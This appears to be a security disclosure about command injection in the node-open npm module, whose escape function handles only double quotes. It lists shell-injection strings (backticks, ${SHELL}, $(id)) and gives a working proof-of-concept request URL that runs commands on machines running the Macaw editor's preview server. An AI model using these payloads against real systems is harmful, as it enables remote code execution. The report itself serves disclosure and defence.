As README saying:
The same care should be taken when calling open as if you were calling child_process.exec directly
Although the source provides a "escape" function, it only deals with double quotes: https://github.com/pwnall/node-open/blob/master/lib/open.js#L61
If provided url is untrusted, some special bash syntax can still be used, leading to command injection.
- `id`
- ${SHELL}
- $(id)
Here's a real world case that can be easily exploited:
Macaw editor uses this module to open url in browser.
It runs a express based http server on 0.0.0.0:5353, accepts JSON rpc request from other computers. Here's a code snippet:
/Applications/Macaw.app/Contents/www/thirdparty/preview/index.js
//open default browser app.get('/openbrowser/:path/:file', function(req, res) { var file = req.param('file'); var path = req.param('path'); var callback = function() { open('http://localhost:'+app.get('port')+'/'+file); }; setWatch(path, callback); // return 200 OK res.send(200); });
A request like below will run arbitrary shell command remotely on victim's computer:
http://192.168.0.1:5353/openbrowser/aaa/`echo pwned>${PWD}tmp${PWD}1`
The team replied me that, since Macaw editor was acquired by InVision, "Macaw 1.6 will be available indefinitely, but no future development of Macaw will occur".